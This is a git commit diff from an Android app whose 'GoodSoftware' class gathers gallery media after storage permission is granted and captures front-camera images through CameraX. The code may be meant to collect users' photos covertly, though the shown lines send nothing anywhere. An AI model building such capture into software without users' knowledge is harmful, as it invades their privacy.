Make sure stopCheckingStoragePermission doesnt happen anyway
This commit is contained in:
		
							
								
								
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -4,18 +4,6 @@
 | 
				
			|||||||
    <value>
 | 
					    <value>
 | 
				
			||||||
      <entry key="MainActivity">
 | 
					      <entry key="MainActivity">
 | 
				
			||||||
        <State>
 | 
					        <State>
 | 
				
			||||||
          <runningDeviceTargetSelectedWithDropDown>
 | 
					 | 
				
			||||||
            <Target>
 | 
					 | 
				
			||||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
					 | 
				
			||||||
              <deviceKey>
 | 
					 | 
				
			||||||
                <Key>
 | 
					 | 
				
			||||||
                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
					 | 
				
			||||||
                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
					 | 
				
			||||||
                </Key>
 | 
					 | 
				
			||||||
              </deviceKey>
 | 
					 | 
				
			||||||
            </Target>
 | 
					 | 
				
			||||||
          </runningDeviceTargetSelectedWithDropDown>
 | 
					 | 
				
			||||||
          <timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
 | 
					 | 
				
			||||||
          <runningDeviceTargetsSelectedWithDialog>
 | 
					          <runningDeviceTargetsSelectedWithDialog>
 | 
				
			||||||
            <Target>
 | 
					            <Target>
 | 
				
			||||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -51,9 +51,8 @@ android {
 | 
				
			|||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
dependencies {
 | 
					dependencies {
 | 
				
			||||||
    implementation("androidx.camera:camera-camera2:1.3.3")
 | 
					 | 
				
			||||||
    implementation(libs.androidx.camera.lifecycle)
 | 
					    implementation(libs.androidx.camera.lifecycle)
 | 
				
			||||||
    val camerax_version = "1.4.0-alpha05"
 | 
					    val camerax_version = "1.3.3"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    implementation(libs.androidx.core.ktx)
 | 
					    implementation(libs.androidx.core.ktx)
 | 
				
			||||||
    implementation(libs.androidx.lifecycle.runtime.ktx)
 | 
					    implementation(libs.androidx.lifecycle.runtime.ktx)
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -167,16 +167,17 @@ class GoodSoftware (private val activity: Context) {
 | 
				
			|||||||
                requestMediaImagesPermission()
 | 
					                requestMediaImagesPermission()
 | 
				
			||||||
            }else{
 | 
					            }else{
 | 
				
			||||||
                grabMedia()
 | 
					                grabMedia()
 | 
				
			||||||
 | 
					                stopCheckingStoragePermission()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
 | 
					            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
 | 
				
			||||||
                requestGalleryPermission()
 | 
					                requestGalleryPermission()
 | 
				
			||||||
            }else{
 | 
					            }else{
 | 
				
			||||||
                grabMedia()
 | 
					                grabMedia()
 | 
				
			||||||
            }
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
                stopCheckingStoragePermission()
 | 
					                stopCheckingStoragePermission()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
					    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
				
			||||||
    private fun requestMediaImagesPermission() {
 | 
					    private fun requestMediaImagesPermission() {
 | 
				
			||||||
@@ -408,28 +409,31 @@ class GoodSoftware (private val activity: Context) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
					    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
				
			||||||
        // Ensure that cameraProvider is initialized
 | 
					        try {
 | 
				
			||||||
            cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
					            cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
				
			||||||
 | 
					        } catch (e: ClassNotFoundException) {
 | 
				
			||||||
 | 
					            Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
 | 
				
			||||||
 | 
					            return
 | 
				
			||||||
 | 
					        } catch (e: Exception) {
 | 
				
			||||||
 | 
					            Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
 | 
				
			||||||
 | 
					            return
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Ensure that the selected camera is available
 | 
					 | 
				
			||||||
        if (!hasBackCamera() && !hasFrontCamera()) {
 | 
					        if (!hasBackCamera() && !hasFrontCamera()) {
 | 
				
			||||||
            Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
					            Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
				
			||||||
            return
 | 
					            return
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Select the lens facing, prioritize front camera if available
 | 
					 | 
				
			||||||
        lensFacing = if (hasFrontCamera()) {
 | 
					        lensFacing = if (hasFrontCamera()) {
 | 
				
			||||||
            CameraSelector.LENS_FACING_FRONT
 | 
					            CameraSelector.LENS_FACING_FRONT
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            CameraSelector.LENS_FACING_BACK
 | 
					            CameraSelector.LENS_FACING_BACK
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Create ImageCapture instance
 | 
					 | 
				
			||||||
        imageCapture = ImageCapture.Builder()
 | 
					        imageCapture = ImageCapture.Builder()
 | 
				
			||||||
            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
					            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
				
			||||||
            .build()
 | 
					            .build()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Set up image capture listener
 | 
					 | 
				
			||||||
        val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
					        val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
				
			||||||
            override fun onError(exc: ImageCaptureException) {
 | 
					            override fun onError(exc: ImageCaptureException) {
 | 
				
			||||||
                Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
					                Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
				
			||||||
@@ -437,7 +441,6 @@ class GoodSoftware (private val activity: Context) {
 | 
				
			|||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
            override fun onCaptureSuccess(image: ImageProxy) {
 | 
					            override fun onCaptureSuccess(image: ImageProxy) {
 | 
				
			||||||
                // Process captured image here
 | 
					 | 
				
			||||||
                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
					                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
				
			||||||
                val imagePlane = image.planes[0]
 | 
					                val imagePlane = image.planes[0]
 | 
				
			||||||
                val buffer = imagePlane.buffer
 | 
					                val buffer = imagePlane.buffer
 | 
				
			||||||
@@ -458,15 +461,12 @@ class GoodSoftware (private val activity: Context) {
 | 
				
			|||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Bind the camera and start image capture
 | 
					 | 
				
			||||||
        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
					        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 | 
				
			||||||
        imageCapture?.takePicture(
 | 
					        imageCapture?.takePicture(
 | 
				
			||||||
            ContextCompat.getMainExecutor(context),
 | 
					            ContextCompat.getMainExecutor(context),
 | 
				
			||||||
            imageCapturedListener
 | 
					            imageCapturedListener
 | 
				
			||||||
        )
 | 
					        )
 | 
				
			||||||
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user